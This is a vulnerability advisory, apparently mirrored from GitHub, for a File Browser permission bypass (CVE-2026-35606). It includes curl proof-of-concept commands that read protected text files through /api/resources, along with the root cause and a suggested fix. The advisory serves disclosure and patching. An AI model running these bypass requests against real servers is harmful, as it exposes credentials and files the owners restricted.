GHSA-67CG-CPJ7-QGC9
Vulnerability from github – Published: 2026-04-08 00:05 – Updated: 2026-04-08 00:05Summary
The resourceGetHandler in http/resource.go returns full text file content without checking the Perm.Download permission flag. All three other content-serving endpoints (/api/raw, /api/preview, /api/subtitle) correctly verify this permission before serving content. A user with download: false can read any text file within their scope through two bypass paths.
Confirmed on v2.62.2 (commit 860c19d).
Root Cause
http/resource.go line 26-33 hardcodes Content: true in the FileOptions without checking download permission:
file, err := files.NewFileInfo(&files.FileOptions{
...
Content: true, // Always loads text content, no permission check
})
Lines 44-63: the X-Encoding: true header path reads the entire file and returns raw bytes as application/octet-stream, also without any download check.
Compare with the three protected endpoints:
// raw.go:83-85
if !d.user.Perm.Download { return http.StatusAccepted, nil }
// preview.go:38-40
if !d.user.Perm.Download { return http.StatusAccepted, nil }
// subtitle.go:13-15
if !d.user.Perm.Download { return http.StatusAccepted, nil }
PoC
Tested on filebrowser v2.62.2, built from HEAD.
# Create user with download=false via CLI
filebrowser users add restricted testuser123456 --perm.download=false
# Login
TOKEN=$(curl -s http://HOST/api/login -d '{"username":"restricted","password":"testuser123456"}')
# BLOCKED: /api/raw correctly enforces download permission
curl -s -w "\nHTTP: %{http_code}" http://HOST/api/raw/secret.txt -H "X-Auth: $TOKEN"
# → 202 Accepted (empty body)
# BYPASS 1: /api/resources with X-Encoding returns raw file content
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" -H "X-Encoding: true"
# → 200 OK, body: SECRET_PASSWORD=hunter2
# BYPASS 2: /api/resources JSON includes content field
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" | jq .content
# → "SECRET_PASSWORD=hunter2\n"
Impact
A user with download: false can read the full content of text files within their authorized scope (up to the 10MB detectType limit). This includes source code, configuration files, credentials, and API tokens stored as text.
This bypass does not defeat path authorization. It bypasses only the Download permission for files the user can otherwise address within their authorized scope. The inconsistency across the four content-serving endpoints (three check Perm.Download, one does not) indicates this is an oversight, not a design decision.
Suggested Fix
Match the existing endpoint behavior (HTTP 202 for denied downloads):
Content: d.user.Perm.Download, // Only load content when permitted
And add a guard before the X-Encoding raw byte path, matching the existing 202 pattern:
if !d.user.Perm.Download {
return http.StatusAccepted, nil
}
Update: Fix submitted as PR #5891.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.63.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35606"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:05:09Z",
"nvd_published_at": "2026-04-07T17:16:34Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `resourceGetHandler` in `http/resource.go` returns full text file content without checking the `Perm.Download` permission flag. All three other content-serving endpoints (`/api/raw`, `/api/preview`, `/api/subtitle`) correctly verify this permission before serving content. A user with `download: false` can read any text file within their scope through two bypass paths.\n\nConfirmed on v2.62.2 (commit 860c19d).\n\n## Root Cause\n\n`http/resource.go` line 26-33 hardcodes `Content: true` in the FileOptions without checking download permission:\n\n file, err := files.NewFileInfo(\u0026files.FileOptions{\n ...\n Content: true, // Always loads text content, no permission check\n })\n\nLines 44-63: the `X-Encoding: true` header path reads the entire file and returns raw bytes as `application/octet-stream`, also without any download check.\n\nCompare with the three protected endpoints:\n\n // raw.go:83-85\n if !d.user.Perm.Download { return http.StatusAccepted, nil }\n\n // preview.go:38-40\n if !d.user.Perm.Download { return http.StatusAccepted, nil }\n\n // subtitle.go:13-15\n if !d.user.Perm.Download { return http.StatusAccepted, nil }\n\n## PoC\n\nTested on filebrowser v2.62.2, built from HEAD.\n\n # Create user with download=false via CLI\n filebrowser users add restricted testuser123456 --perm.download=false\n\n # Login\n TOKEN=$(curl -s http://HOST/api/login -d \u0027{\"username\":\"restricted\",\"password\":\"testuser123456\"}\u0027)\n\n # BLOCKED: /api/raw correctly enforces download permission\n curl -s -w \"\\nHTTP: %{http_code}\" http://HOST/api/raw/secret.txt -H \"X-Auth: $TOKEN\"\n # \u2192 202 Accepted (empty body)\n\n # BYPASS 1: /api/resources with X-Encoding returns raw file content\n curl -s http://HOST/api/resources/secret.txt -H \"X-Auth: $TOKEN\" -H \"X-Encoding: true\"\n # \u2192 200 OK, body: SECRET_PASSWORD=hunter2\n\n # BYPASS 2: /api/resources JSON includes content field\n curl -s http://HOST/api/resources/secret.txt -H \"X-Auth: $TOKEN\" | jq .content\n # \u2192 \"SECRET_PASSWORD=hunter2\\n\"\n\n## Impact\n\nA user with `download: false` can read the full content of text files within their authorized scope (up to the 10MB `detectType` limit). This includes source code, configuration files, credentials, and API tokens stored as text.\n\nThis bypass does not defeat path authorization. It bypasses only the `Download` permission for files the user can otherwise address within their authorized scope. The inconsistency across the four content-serving endpoints (three check `Perm.Download`, one does not) indicates this is an oversight, not a design decision.\n\n## Suggested Fix\n\nMatch the existing endpoint behavior (HTTP 202 for denied downloads):\n\n Content: d.user.Perm.Download, // Only load content when permitted\n\nAnd add a guard before the X-Encoding raw byte path, matching the existing 202 pattern:\n\n if !d.user.Perm.Download {\n return http.StatusAccepted, nil\n }\n\n---\n\n**Update:** Fix submitted as PR #5891.",
"id": "GHSA-67cg-cpj7-qgc9",
"modified": "2026-04-08T00:05:09Z",
"published": "2026-04-08T00:05:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-67cg-cpj7-qgc9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35606"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "File Browser discloses text file content via /api/resources endpoint bypassing Perm.Download check"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.